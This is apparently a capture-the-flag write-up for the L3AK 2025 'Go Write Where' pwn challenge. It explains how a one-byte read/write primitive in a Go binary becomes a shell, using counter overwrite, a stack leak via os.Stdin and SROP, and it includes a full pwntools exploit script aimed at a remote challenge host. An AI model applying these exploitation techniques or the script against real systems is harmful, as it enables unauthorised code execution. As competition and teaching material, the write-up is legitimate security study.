[L3AK 2025] Pwn - Go Write Where

4 minute read

Overview

This challenge provides an unusual and restricted setting: a statically compiled Go binary with two primitives: the ability to read or write exactly one byte anywhere in memory.

Our goal is to escalate that primitive into unlimited memory access, leak the stack, and achieve remote code execution.


Step 1: Bypassing the One-Time Read/Write Limitation

The first major constraint is that we are allowed only one read or one write.

Looking at the decompiled code, the logic looks like this:

1for (counter = 1; counter > 0; counter = saved_counter - 1) {
2    // read or write a single byte
3}

The counter variable is decremented from a saved copy, saved_counter, stored on the stack at:

1mov     [rsp+0x1d0 - 0x190], counter  ; → [rsp+0x40]

If we can overwrite that saved counter value with a higher value (e.g., 0xff), the loop becomes effectively infinite or long enough for our needs.


The Bruteforce Trick

At first, we only have one byte write, so we can’t do a full overwrite. However:

  • Go maps stacks at 0xc000000000
  • The stack offset for the saved counter always ends with 0xd8
  • The full pointer is of the form 0xc000XXYYD8

This means that we only need to brute-force 2 bytes: XXYY.

So the bruteforce strategy:

  1. Loop over potential stack addresses like 0xc0000000d8, 0xc0000100d8, etc.
  2. Try writing a single byte (0xff) at each candidate
  3. Check if the program allows a second read/write → we won

Once we overwrite the saved counter to 0xff, the loop becomes:

1counter = 255 - 1, then 254 - 1, etc...

Now we can perform as much read/write operations as we want (because we can reset it to 0xFF)


Step 2: Leak the Stack Address via os.Stdin

The next step is to leak the stack address so we can precisely locate the return address of main.main.

Go’s os.Stdin is a global symbol that, in this binary, points to an object allocated on the stack.

We use our arbitrary read primitive (after bypassing the counter restriction) to:

  1. Read the address stored in os.Stdin
  2. This gives us a stack pointer leak (e.g., 0xc000xxxyyy)
  3. From here, we compute the return address of main based on known stack frame layout

Step 3: Writing a Useful Payload

At this point, we have:

  • An arbitrary write primitive (many times)
  • A leaked stack pointer
  • The ability to locate and overwrite the return address

To prepare the payload:

  1. Use the write primitive to write "/bin/sh\x00" somewhere in the binary .text segment
  2. Prepare a ROP chain… but this binary has very few gadgets

Step 4: SROP — Sigreturn Oriented Programming

Due to a lack of usable ROP gadgets, we switch to Sigreturn Oriented Programming (SROP).

The plan:

  1. Overwrite the return address with a syscall gadget (found at a known location)

  2. Set rax = 15 before the syscall → triggers sigreturn

  3. Write a fake sigframe on the stack, crafted to:

    • Set rax = 59 (execve)
    • Set rdi to pointer to "/bin/sh"
    • Set rsi, rdx to 0
    • Set rip to syscall

This gives us full control of the CPU state and results in execve("/bin/sh", 0, 0) — a shell.


Exploit

 1from pwn import *
 2
 3
 4elf = ELF("./chall", checksec=False)
 5context.arch = "amd64"
 6
 7def read(p, addr, size):
 8    result = b""
 9    for i in range(size):
10        current_addr = addr + i
11        p.sendlineafter(b"Read or Write? (r/w):", b"r")
12        p.sendlineafter(b": ", hex(current_addr).encode())
13        p.recvuntil(b": ")
14        value_str = p.recvuntil(b"\n", drop=True)
15        byte_val = int(value_str, 0)
16        result += bytes([byte_val])
17
18    return result
19
20
21def write(p, addr, data):
22    for i, byte in enumerate(data):
23        current_addr = addr + i
24        p.sendlineafter(b"Read or Write? (r/w):", b"w",timeout=10)
25        p.sendlineafter(b": ", hex(current_addr).encode(),timeout=10)
26        p.sendlineafter(b": ", hex(byte).encode(), timeout=10)
27        info("Wrote byte: 0x%hx" % byte)
28
29
30
31
32p = remote("34.45.81.67", 16003)
33write(p,0xc00009cdb8, b"\xff")
34
35print("Successfully overwrote counter.")
36bin_sh = 0x52c200 # elf .text address
37write(p,bin_sh, b"/bin/sh\0")
38
39
40stack = u64(read(p,elf.sym["os.Stdin"], 8))-37048
41info("Stack: 0x%hx" % stack)
42
43
44syscall = 0x000000000040336c
45pop_rax = 0x00000000004224c4
46
47
48frame = SigreturnFrame()
49frame.rax = constants.SYS_execve
50frame.rdi = bin_sh
51frame.rsi = 0
52frame.rdx = 0
53frame.rip = syscall
54
55
56payload = p64(pop_rax)
57payload += p64(15)
58payload += p64(syscall)
59
60
61payload2 = bytes(frame)
62
63
64
65
66write(p, stack, payload)
67write(p,0xc00009cdb8, b"\xf8")
68
69print(len(payload2))
70
71write(p, stack+24, payload2)
72
73p.interactive()
74

Final Notes

This challenge was an excellent demonstration of:

  • Bypassing logic restrictions with targeted stack writes
  • Using Go’s predictable stack mapping to brute-force memory
  • Leaking and using os.Stdin as a stack pointer oracle
  • Using SROP in constrained gadget environments

Exploit Summary (TL;DR)

  1. Brute-force stack address to overwrite saved_counter with 0xff
  2. Leak stack pointer via os.Stdin
  3. Locate main's return address
  4. Write /bin/sh and a sigreturn frame
  5. Overwrite return address to trigger SROP
  6. Profit: shell 🎉